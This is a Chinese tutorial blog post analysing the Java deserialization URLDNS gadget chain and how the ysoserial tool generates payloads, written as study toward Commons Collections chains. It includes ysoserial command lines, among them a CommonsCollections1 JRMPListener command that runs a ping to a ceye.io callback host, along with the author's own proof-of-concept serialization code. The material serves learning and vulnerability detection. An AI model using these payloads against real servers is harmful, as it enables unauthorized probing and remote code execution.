CC链1:

前置知识:

CC链,也就是Apache Commons Collections中的反序列化POP链。

Apache CommonsApache开源的Java通用类项目在Java中项目中被广泛的使用,Apache Commons当中有一个组件叫做Apache Commons Collections,主要封装了Java的Collection(集合)相关类对象。

ysoserial:

ysoserial是一个继承了Java反序列化各种利用链的工具。大部分时候是用来生成利用链的。

项目链接

这里简单讲一下ysoserial的安装配置问题。

首先,想要下载ysoserial有两种办法:

第一种是直接通过这个链接下载一个jar包。

https://jitpack.io/com/github/frohoff/ysoserial/master-SNAPSHOT/ysoserial-master-SNAPSHOT.jar

然后将下载下来的jar包直接用java命令进行使用就可以了。

image-20230305144247999

这个谐音梗挺好玩的。

第二种方法就是直接去项目原来的地址下载源代码文件,然后通过maven打包,编译成jar包,然后重复之上过程。

这里需要注意的是,为了跟链子,我们是需要知道ysoserial中的代码是怎么运行的,但是在用Maven打包的时候,我遇到了一个settings.xml的问题。

报错:

'settings.xml' has syntax errors

我的Maven是3.8.6版本,在settings.xml的这里有一个多余的<mirror>标签。

image-20230306203932551

删除即可。

具体使用的命令也由两种:

一种是直接运行ysoserial.jar中的主类函数,另外一种是运行ysoserial中的exploit类,也就是生成exp。

java -jar ysoserial.jar [payload] '[command]'
java -jar ysoserial.jar URLDNS http://xx.xxxxx.ceye.io
java -cp ysoserial.jar ysoserial.exploit.JRMPListener 1099 CommonsCollections1 'ping -c 2 rce.267hqw.ceye.io'

这部分的参考文章

以及P神的Java安全漫谈。

Ysoserial是如何生成Payload的:

这里我以URLDNS为例,来理解一下这个工具生成Payload的逻辑和方法。

这里首先看一下源码里面是怎么生成的Payload。

ysoserial-master\src\main\java\ysoserial\payloads\URLDNS.java

打开文件之后可以看见源码:

package ysoserial.payloads;

import java.io.IOException;
import java.net.InetAddress;
import java.net.URLConnection;
import java.net.URLStreamHandler;
import java.util.HashMap;
import java.net.URL;

import ysoserial.payloads.annotation.Authors;
import ysoserial.payloads.annotation.Dependencies;
import ysoserial.payloads.annotation.PayloadTest;
import ysoserial.payloads.util.PayloadRunner;
import ysoserial.payloads.util.Reflections;
//导入包

/**
* A blog post with more details about this gadget chain is at the url below:
* https://blog.paranoidsoftware.com/triggering-a-dns-lookup-using-java-deserialization/
*
* This was inspired by Philippe Arteau @h3xstream, who wrote a blog
* posting describing how he modified the Java Commons Collections gadget
* in ysoserial to open a URL. This takes the same idea, but eliminates
* the dependency on Commons Collections and does a DNS lookup with just
* standard JDK classes.
*
* The Java URL class has an interesting property on its equals and
* hashCode methods. The URL class will, as a side effect, do a DNS lookup
* during a comparison (either equals or hashCode).
*
* As part of deserialization, HashMap calls hashCode on each key that it
* deserializes, so using a Java URL object as a serialized key allows
* it to trigger a DNS lookup.
*
* Gadget Chain:
* HashMap.readObject()
* HashMap.putVal()
* HashMap.hash()
* URL.hashCode()
*
*
*/
@SuppressWarnings({ "rawtypes", "unchecked" })
@PayloadTest(skip = "true")
@Dependencies()
@Authors({ Authors.GEBL })
public class URLDNS implements ObjectPayload<Object> {

public Object getObject(final String url) throws Exception {

//Avoid DNS resolution during payload creation
//Since the field <code>java.net.URL.handler</code> is transient, it will not be part of the serialized payload.
URLStreamHandler handler = new SilentURLStreamHandler();

HashMap ht = new HashMap(); // HashMap that will contain the URL
URL u = new URL(null, url, handler); // URL to use as the Key
ht.put(u, url); //The value can be anything that is Serializable, URL as the key is what triggers the DNS lookup.

Reflections.setFieldValue(u, "hashCode", -1); // During the put above, the URL's hashCode is calculated and cached. This resets that so the next time hashCode is called a DNS lookup will be triggered.

return ht;
}

public static void main(final String[] args) throws Exception {
PayloadRunner.run(URLDNS.class, args);
}

/**
* <p>This instance of URLStreamHandler is used to avoid any DNS resolution while creating the URL instance.
* DNS resolution is used for vulnerability detection. It is important not to probe the given URL prior
* using the serialized object.</p>
*
* <b>Potential false negative:</b>
* <p>If the DNS name is resolved first from the tester computer, the targeted server might get a cache hit on the
* second resolution.</p>
*/
static class SilentURLStreamHandler extends URLStreamHandler {

protected URLConnection openConnection(URL u) throws IOException {
return null;
}

protected synchronized InetAddress getHostAddress(URL u) {
return null;
}
}
}

这里还是简单的进行一下代码审计,首先看一下主类。

image-20230306235540713

这里的主类很简单,就是执行了一个类的方法,也就是PayloadRunner.run

然后将上面定义的URLDNS这个类传入作为参数,以及将直接传入主类的字符串数组args作为参数。

这里看一下PayloadRunner.run这个方法:

public class PayloadRunner {

public static void run(final Class<? extends ObjectPayload<?>> clazz, final String[] args) throws Exception {
// ensure payload generation doesn't throw an exception
byte[] serialized = new ExecCheckingSecurityManager().callWrapped(new Callable<byte[]>(){
public byte[] call() throws Exception {
final String command = args.length > 0 && args[0] != null ? args[0] : getDefaultTestCmd();

System.out.println("generating payload object(s) for command: '" + command + "'");

ObjectPayload<?> payload = clazz.newInstance();
final Object objBefore = payload.getObject(command);

System.out.println("serializing payload");
byte[] ser = Serializer.serialize(objBefore);
Utils.releasePayload(payload, objBefore);
return ser;
}});

try {
System.out.println("deserializing payload");
final Object objAfter = Deserializer.deserialize(serialized);
} catch (Exception e) {
e.printStackTrace();
}

}

可以看到这个类中没有主函数,当调用这个run方法的时候,要求传入的类参数,必须是Class的子类,同时这个子类必须继承ObjectPayload这个类。

然后定义了一个字节数组,这个数组用于存放后面的对象的方法,这里可以通过名字看出来应当是一个调用函数的方法。

稍微看一下callWrapped这个方法,这部分是ysoserial的作者添加的一个类。

public <T> T callWrapped(final Callable<T> callable) throws Exception {
SecurityManager sm = System.getSecurityManager(); // save sm
System.setSecurityManager(this);
try {
T result = callable.call();
if (throwException && ! getCmds().isEmpty()) {
throw new ExecException(getCmds().get(0));
}
return result;
} catch (Exception e) {
if (! (e instanceof ExecException) && throwException && ! getCmds().isEmpty()) {
throw new ExecException(getCmds().get(0));
} else {
throw e;
}
} finally {
System.setSecurityManager(sm); // restore sm
}
}

这里调用了一下java中自带的system类方法,也就是System.getSecurityManager(),用来确保调用安全。

然后通过System.setSecurityManager()添加自己这个类。然后用T这个泛型去占了个位,然后去存储callable的返回值,这里可能是想要写一个多线程。

然后如果try失败,或者是无法调用方法,则报错。

回头再继续看PayloadRunenr。

接下来,是定义了一个final修饰的字符串类型的变量,然后用一个三元运算符来进行判断。

如果我们传入的数组第一位部位null,同时内部有内容,则使用传入的args本身,否则就调用默认设置的方法。

image-20230314145059515

输出然后通过输出函数,写出写入有效载荷中的命令。

然后是通过反射的方式,对我们传入的类(这里也就是使用的URLDNS这个类)进行反射创建。

创建了类之后,调用类中的getObject()方法,也就是相当于是执行对应类中的代码了。

接下来是调用了一个Serializer.serialize()方法。这个方法是一个自定义的类,看一下:

image-20230314163326288

可以看到这里其实就是直接进行了一个序列化的操作,只是他序列化的步骤分成了两个serialize()函数。

最后是作为一个字节数组返回的,随后存在ser这个数组里。

然后调用Utils.releasepayload(),用于判断之前反射的类是不是ReleaseableObjectPayload这个类的子类或者是实例。

如果是,就将反射的类强制类型转换为ReleaseObjectPayload类,然后调用release(object)方法。

随后返回ser。

这里稍微总结一下这个的调用顺序。也就是首先在URLDNS.java中,对PayloadRunner.run()进行调用,这是会跳转到run()方法,在方法中,会通过callWrapped()方法,进入方法后,会直接调用参数类中的call()方法。

因为在参数中,new了一个Callable(),并通过匿名内部类对这个Callable内中的方法进行了重写,因此上述调用其实就是直接对匿名内部类中重写的call()方法进行了调用。

当调用call()方法的时候,就会调用到之前URLDNS.java中的getObject()方法。

也就是通过反射来管理我们传入的类,这里传入的就是URLDNS.class,然后将反射了URLDNS.class的反射类添加Payload进行序列化。

这样就可以在不影响原本类的前提下,对类进行序列化操作和改变。

可以知道,ysoserial生成payload的方式都是通过这个PayloadRunner类来进行生成的,实际上改变的只有传入进去的类的数据而已。

URLDNS:

看完了Payload生成的逻辑,这里来详细理解一下URLDNS这条反序列化链子:

URLDNSysoserial里面一个最简单的一个利用链。

但是严格来说,这个不能成为一个利用链,这是因为参数不是一个可以利用的命令,而是一个简单的URL,触发的结果也不是命令执行,而是一次DNS请求。

但是这条利用链子中存在以下优点:

1、使用Java内置的类构造,对第三方库没有以来

2、在目标没有回显的时候,能够通过DNS请求得知是否存在反序列化漏洞。

使用指令:

java -jar .\ysoserial.jar URLDNS "http://xxx.ceye.io" > dnslog.ser

可以生成URLDNS的Payload,并封装入一个ser文件中。

image-20230305154520813

这里我直接使用ceye这个网站,来进行DNS查询的反馈,因此,我生成如下反序列化文件:

image-20230316004521791

并且通过代码进行检测:

测试代码如下:

import java.io.*;

public class URLDNSTest{
public static void main(String[] args) {
try {
FileInputStream input = new FileInputStream("dnslog.ser");
ObjectInputStream ob = new ObjectInputStream(input);
ob.readObject();
}
catch (IOException e){
e.printStackTrace();
} catch (ClassNotFoundException e) {
throw new RuntimeException(e);
}
}
}

当将文件放在文件夹下之后,运行我们准备好的测试程序,可以在ceye平台找到对应的DNS查询记录。

image-20230316004916632

这里就算是URLDNS已经打通了。

需要注意的是,要使用ysoserial生成payload,不能使用Windows系统下的Powershell,以及IDEA默认的终端,不然都会因为编码不同,导致文件无法被反序列化。会报以下的错误。

image-20230317183541690

可以在配置里面,更改IDEA的终端程序,然后可以正常运行。

接下来对Payload进行详细分析,并不通过ysoserial写出自己的POC。

首先还是看一下ysoserial是怎么生成URLDNS的Payload的。根据我们之前对于ysoserial生成payload的流程的分析,可以知道的是,实际上每一个不同的payload最关键的调用部分是对应的类的getObject()这个方法部分。因此,我们直接看下URLDNS.javagetObject()方法。

public Object getObject(final String url) throws Exception {

//Avoid DNS resolution during payload creation
//Since the field <code>java.net.URL.handler</code> is transient, it will not be part of the serialized payload.
URLStreamHandler handler = new SilentURLStreamHandler();

HashMap ht = new HashMap(); // HashMap that will contain the URL
URL u = new URL(null, url, handler); // URL to use as the Key
ht.put(u, url); //The value can be anything that is Serializable, URL as the key is what triggers the DNS lookup.

Reflections.setFieldValue(u, "hashCode", -1); // During the put above, the URL's hashCode is calculated and cached. This resets that so the next time hashCode is called a DNS lookup will be triggered.

return ht;
}

这里的Payload首先生成了一个URLStreamHandler的实例,然后生成了一个HashMap的实例ht,随后调用了ht.put()方法。最后返回的是ht

就像我们之前在看生成Payload部分看到的一样,最后返回的ht就是用于序列化的类,因此,我们可以知道这里的利用点是Hashmap里面的readObject()方法。

这里直接跟进一下:

private void readObject(ObjectInputStream s)
throws IOException, ClassNotFoundException {

ObjectInputStream.GetField fields = s.readFields();

// Read loadFactor (ignore threshold)
float lf = fields.get("loadFactor", 0.75f);
if (lf <= 0 || Float.isNaN(lf))
throw new InvalidObjectException("Illegal load factor: " + lf);

lf = Math.min(Math.max(0.25f, lf), 4.0f);
HashMap.UnsafeHolder.putLoadFactor(this, lf);

reinitialize();

s.readInt(); // Read and ignore number of buckets
int mappings = s.readInt(); // Read number of mappings (size)
if (mappings < 0) {
throw new InvalidObjectException("Illegal mappings count: " + mappings);
} else if (mappings == 0) {
// use defaults
} else if (mappings > 0) {
double dc = Math.ceil(mappings / (double)lf);
int cap = ((dc < DEFAULT_INITIAL_CAPACITY) ?
DEFAULT_INITIAL_CAPACITY :
(dc >= MAXIMUM_CAPACITY) ?
MAXIMUM_CAPACITY :
tableSizeFor((int)dc));
float ft = (float)cap * lf;
threshold = ((cap < MAXIMUM_CAPACITY && ft < MAXIMUM_CAPACITY) ?
(int)ft : Integer.MAX_VALUE);

// Check Map.Entry[].class since it's the nearest public type to
// what we're actually creating.
SharedSecrets.getJavaObjectInputStreamAccess().checkArray(s, Map.Entry[].class, cap);
@SuppressWarnings({"rawtypes","unchecked"})
Node<K,V>[] tab = (Node<K,V>[])new Node[cap];
table = tab;

// Read the keys and values, and put the mappings in the HashMap
for (int i = 0; i < mappings; i++) {
@SuppressWarnings("unchecked")
K key = (K) s.readObject();
@SuppressWarnings("unchecked")
V value = (V) s.readObject();
putVal(hash(key), key, value, false, false);
}
}
}

首先认识一下HashMap类:

image-20230318225013729

也就是说,这个类中,存储的是多个键值对,并会根据键的哈希值存储数据。

使用方式:

image-20230318225227977

常见的几个方法

  1. put()方法,用于添加键值对
  2. get()方法,用于获取某个键对应的值
  3. clear()方法,用于删除所有键值对
  4. size()方法,计算所有的元素数量

通过上述方法,我们可以简单了解到整个类的具体作用。但是这里的Payload主要的入口还是在它的readobject()方法。

@java.io.Serial
private void readObject(ObjectInputStream s)
throws IOException, ClassNotFoundException {

ObjectInputStream.GetField fields = s.readFields();

// Read loadFactor (ignore threshold)
float lf = fields.get("loadFactor", 0.75f);
if (lf <= 0 || Float.isNaN(lf))
throw new InvalidObjectException("Illegal load factor: " + lf);

lf = Math.min(Math.max(0.25f, lf), 4.0f);
HashMap.UnsafeHolder.putLoadFactor(this, lf);

reinitialize();

s.readInt(); // Read and ignore number of buckets
int mappings = s.readInt(); // Read number of mappings (size)
if (mappings < 0) {
throw new InvalidObjectException("Illegal mappings count: " + mappings);
} else if (mappings == 0) {
// use defaults
} else if (mappings > 0) {
double dc = Math.ceil(mappings / (double)lf);
int cap = ((dc < DEFAULT_INITIAL_CAPACITY) ?
DEFAULT_INITIAL_CAPACITY :
(dc >= MAXIMUM_CAPACITY) ?
MAXIMUM_CAPACITY :
tableSizeFor((int)dc));
float ft = (float)cap * lf;
threshold = ((cap < MAXIMUM_CAPACITY && ft < MAXIMUM_CAPACITY) ?
(int)ft : Integer.MAX_VALUE);

// Check Map.Entry[].class since it's the nearest public type to
// what we're actually creating.
SharedSecrets.getJavaObjectInputStreamAccess().checkArray(s, Map.Entry[].class, cap);
@SuppressWarnings({"rawtypes","unchecked"})
Node<K,V>[] tab = (Node<K,V>[])new Node[cap];
table = tab;

// Read the keys and values, and put the mappings in the HashMap
for (int i = 0; i < mappings; i++) {
@SuppressWarnings("unchecked")
K key = (K) s.readObject();
@SuppressWarnings("unchecked")
V value = (V) s.readObject();
putVal(hash(key), key, value, false, false);
}
}
}

这里还是稍微简单的看一下代码,首先是实例化了一个类,ObjectInputStream.GetField,然后调用的是类中的get()方法。

方法可以获取loadFactor字段的值,存放入Float类型的变量lf中。

在判断lf没有问题后,还是调用Hashmap类中的方法,这一段不作用,其实就是看了一下Hashmap生成的哈希表,然后来决定怎么操作。

重点是从那个For循环开始的一段,可以看到最后一段调用了putVal()方法,也就是将元素添加到Hashmap集合中。

这里的关键是调用了hash()函数,跟进一下:

image-20230402204917867

然后这里其实只有一个return,所以重点应该是在hashCode()上面,跟进一下key的hashcode方法。

因为在这里:

image-20230402210053895

可以看到,Hashmap的类——ht调用了put方法,将URL类的对象u作为key存入了Hashmap集合。

因此,这里其实就是找的URL类中的hashcode()

image-20230402210305930

可以看到这里,判断如果hashcode不是-1,就返回。

image-20230402210338595

因为在URLDNS.java中设置了,所以这里不会进入。

然后就是最关键的地方,这里调用了handler.hashcode()

image-20230402210505689

可以看到,这里调用了一个叫做getHostAddress()的方法,这个方法的作用就是说去指定主机的ip地址。

我们都知道,我们之所以可以通过URL访问一个网站,就是因为我们会通过DNS服务器来进行DNS查询,来获取对应URL的ip地址,因此才能访问。因此,当这里开始尝试获取指定主机的ip地址的时候,就会直接触发DNS查询的效果。

也就是说调用链:

Hashmap.readObject()->hash()
hash()->key.hashCode()
Key.hashCode()=URL.hashCode()->getHostAddress()

这里已经明确了gadget,然后我们尝试自己写一个poc

import java.io.FileOutputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.net.MalformedURLException;
import java.net.URL;
import java.util.HashMap;

public class POC {
public static void main(String[] args) throws Exception {
String strings = "http://xxxx.ceye.io/";
HashMap hash = new HashMap();
URL u = new URL(strings);
Field field = Class.forName("java.net.URL").getDeclaredField("hashCode");
field.setAccessible(true);
field.set(u,-1);
hash.put(u,123);
try{
FileOutputStream file = new FileOutputStream("./POC.ser");
ObjectOutputStream out = new ObjectOutputStream(file);
out.writeObject(hash);
out.close();
file.close();
}
catch (Exception e){
e.printStackTrace();
}
}
}

然后还是用之前写的测试程序来测试一下,发现我们的DNSlog网站可以收到DNS查询记录,说明成功。

利用链还是完全一样的,整体思路就是去调用java.net.URL类里面的hashCode()里面的getHostAddress().

但是这个POC还是有一个问题。

因为这里在hash.put()部分调用了Hashmap中的put()函数:

image-20230402234603512

这里同样会调用一次putVal(hash(key)),因为这里的key是URL类,如果我们首先设置hashcode-1,同样会触发一次DNS查询。

如果我们不提前设置,那么可以发现,默认的hashCode值是-1,那么也会触发这次DNS查询。

image-20230402235728061

因此,我们可以这样修改POC:

import java.io.FileOutputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.net.URL;
import java.util.HashMap;

public class POC {
public static void main(String[] args) throws Exception {
String strings = "http://rzln5k.ceye.io/";
HashMap hash = new HashMap();
URL u = new URL(strings);
Field field = Class.forName("java.net.URL").getDeclaredField("hashCode");
field.setAccessible(true);
field.set(u,1); //用于修改hashcode,跳过DNS查询
hash.put(u,123);
field.set(u,-1);
try{
FileOutputStream file = new FileOutputStream("./POC.ser");
ObjectOutputStream out = new ObjectOutputStream(file);
out.writeObject(hash);
out.close();
file.close();
}
catch (Exception e){
e.printStackTrace();
}
}
}

这样就是一个完整的poc了。

而相对的,ysoserial里面的POC不是走的这种方式,他是一开始的时候,就把URLStreamHandler类下面设置了一个子类,SilentURLStreamHandler

然后将handler传递给了URL构造函数。
URL u = new URL(null, url, handler);

在URL构造函数中,如果handler存在,则执行
this.handler = handler;

因此第一次HashMap.put时,会进入handler.hashCode(this)注意这里的handler是SilentURLStreamHandler的对象

当进行到ht.put(),这一步的时候,就是调用的SilentURLStreamHandler中的getHostAddress()函数,也就是直接返回了一个null,不会产生dns查询。

image-20230403003128950

而后面,到反序列化的时候,可以产生DNS查询,是因为handler属性被设置为了transient,被transient 修饰的变量无法被序列化,所以最终反序列化读取出来的 transient依旧是其初始值,也就是URLStreamHandler。